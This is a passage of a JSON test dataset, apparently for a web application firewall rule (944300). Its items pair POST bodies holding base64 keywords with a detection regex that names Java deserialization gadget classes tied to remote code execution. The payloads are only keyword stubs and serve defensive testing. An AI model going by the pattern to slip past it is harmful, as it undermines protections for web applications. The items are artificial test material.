"input": { "malicious_payload": [ { "location": "post_body", "value": "test=Zm9yY2xvc3VyZQ" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword Zm9yY2xvc3VyZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"Zm9yY2xvc3VyZQ\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword Zm9yY2xvc3VyZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"Zm9yY2xvc3VyZQ\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword Zm9yY2xvc3VyZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=GZvcmNsb3N1cmU" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword GZvcmNsb3N1cmU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "GZvcmNsb3N1cmU=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword GZvcmNsb3N1cmU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"GZvcmNsb3N1cmU\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword GZvcmNsb3N1cmU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">GZvcmNsb3N1cmU</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword GZvcmNsb3N1cmU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">GZvcmNsb3N1cmU</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword GZvcmNsb3N1cmU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=GZvcmNsb3N1cmU" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword GZvcmNsb3N1cmU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"GZvcmNsb3N1cmU\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword GZvcmNsb3N1cmU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"GZvcmNsb3N1cmU\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword GZvcmNsb3N1cmU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Bmb3JjbG9zdXJl" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword Bmb3JjbG9zdXJl" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Bmb3JjbG9zdXJl=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": 